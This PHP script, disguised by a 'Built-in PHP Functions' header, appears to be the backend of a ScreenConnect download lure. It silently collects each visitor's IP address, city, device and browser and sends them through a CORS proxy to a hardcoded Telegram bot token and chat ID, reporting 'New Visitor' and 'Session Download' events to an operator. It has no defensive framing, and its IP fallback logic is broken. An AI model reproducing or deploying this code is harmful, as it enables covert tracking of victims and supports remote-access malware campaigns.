<?php
/*
Built-in PHP Functions
*/

error_reporting(0);
ini_set("memory_limit", -1);
ini_set('display_errors', 0);

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET');
header('Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With');

function SendTelegram($message) {
    $token = "6538589068:AAFF7U6wDW4QoQEUmKKzJBM7C33VbTKqFiQ";
    $chatId = "744124046";

    // Use a free CORS proxy that allows outbound requests
    $proxyUrl = "https://corsproxy.io/?" . urlencode("https://api.telegram.org/bot{$token}/sendMessage");
    $postData = ['chat_id' => $chatId, 'text' => $message, 'parse_mode' => 'HTML'];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $proxyUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/x-www-form-urlencoded',
    ]);

    curl_exec($ch);
    curl_close($ch);
}

function ParseUA() {
    $UA = "";
    $UAHeaders = [
        "HTTP_USER_AGENT", "HTTP_X_OPERAMINI_PHONE_UA", "HTTP_X_DEVICE_USER_AGENT",
        "HTTP_X_UCBROWSER_DEVICE_UA", "HTTP_FROM", "HTTP_X_SCANNER",
        "HTTP_X_ORIGINAL_USER_AGENT", "HTTP_X_SKYFIRE_PHONE",
        "HTTP_X_BOLT_PHONE_UA", "HTTP_DEVICE_STOCK_UA"
    ];
    foreach ($UAHeaders as $header) {
        if (isset($_SERVER[$header]) && !empty(trim($_SERVER[$header]))) {
            $UA = $_SERVER[$header];
            break;
        }
    }
    return $UA;
}

function GetRealIP() {
    $ip = $_SERVER['REMOTE_ADDR'] || '0.0.0.0';

    $forwarded_headers = [
        'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR',
        'HTTP_X_REAL_IP', 'HTTP_CLIENT_IP'
    ];

    foreach ($forwarded_headers as $header) {
        if (!empty($_SERVER[$header])) {
            $ips = explode(',', $_SERVER[$header]);
            $ip = trim($ips[0]);
            break;
        }
    }

    return $ip;
}

function getDeviceInfo($userAgent) {
    if (preg_match('/iPhone/i', $userAgent)) return "iPhone";
    if (preg_match('/iPad/i', $userAgent)) return "iPad";
    if (preg_match('/Android/i', $userAgent)) return "Android Phone";
    if (preg_match('/Windows Phone/i', $userAgent)) return "Windows Phone";
    if (preg_match('/Macintosh|Mac OS X/i', $userAgent)) return "Mac";
    if (preg_match('/Windows NT 10.0/i', $userAgent)) return "Windows 10/11";
    if (preg_match('/Windows NT 6.3/i', $userAgent)) return "Windows 8.1";
    if (preg_match('/Windows NT 6.2/i', $userAgent)) return "Windows 8";
    if (preg_match('/Windows NT 6.1/i', $userAgent)) return "Windows 7";
    if (preg_match('/Windows NT/i', $userAgent)) return "Windows";
    if (preg_match('/Linux/i', $userAgent)) return "Linux";
    return "Unknown";
}

function getBrowser($userAgent) {
    if (preg_match('/Edg/i', $userAgent)) return "Edge";
    if (preg_match('/Firefox/i', $userAgent)) return "Firefox";
    if (preg_match('/Chrome/i', $userAgent)) return "Chrome";
    if (preg_match('/Safari/i', $userAgent)) return "Safari";
    if (preg_match('/Opera|OPR/i', $userAgent)) return "Opera";
    if (preg_match('/MSIE|Trident/i', $userAgent)) return "Internet Explorer";
    return "Unknown";
}

function getCountryFromIP($ip) {
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return "Private/Local";
    }

    try {
        $url = "http://ip-api.com/json/{$ip}?fields=status,country,city,isp";
        $response = @file_get_contents($url);
        if ($response) {
            $data = json_decode($response, true);
            if ($data && $data['status'] == 'success') {
                return $data['country'] . ($data['city'] ? " - " . $data['city'] : "");
            }
        }
    } catch (Exception $e) {}

    return "Unknown";
}

// Get request data
$inputJSON = file_get_contents('php://input');
$data = json_decode($inputJSON, true);

$userIP = GetRealIP();
$userAgent = ParseUA();
$browser = getBrowser($userAgent);
$device = getDeviceInfo($userAgent);
$country = getCountryFromIP($userIP);

// Handle download complete notification
function HandleTGNotification () {
    $userIP = GetRealIP();
    $userAgent = ParseUA();
    $browser = getBrowser($userAgent);
    $device = getDeviceInfo($userAgent);
    $country = getCountryFromIP($userIP);

    $message = "━━━━━━ ScreenConnect ━━━━━━" . PHP_EOL;
    $message .= "🆔 New Visitor Session" . PHP_EOL;
    $message .= "🌍 Location: $country" . PHP_EOL;
    $message .= "💻 Device: $device" . PHP_EOL;
    $message .= "🖥️ Browser: $browser" . PHP_EOL;
    $message .= "🌐 IP: https://ip-api.com/$userIP" . PHP_EOL;
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━\n" . PHP_EOL;

    SendTelegram($message);
    echo json_encode(['success' => true]);
    exit;
}

// Handle download complete notification
if ($data && isset($data['action']) && $data['action'] == 'download_complete') {
    $message = "━━━━━━ ScreenConnect ━━━━━━" . PHP_EOL;
    $message .= "🆔 New Session Download" . PHP_EOL;
    $message .= "🌍 Location: $country" . PHP_EOL;
    $message .= "💻 Device: $device" . PHP_EOL;
    $message .= "🖥️ Browser: $browser" . PHP_EOL;
    $message .= "🌐 IP: https://ip-api.com/$userIP" . PHP_EOL;
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━\n" . PHP_EOL;

    SendTelegram($message);
    echo json_encode(['success' => true]);
    exit;
}

// Default response
echo json_encode(['status' => 'ready']);
?>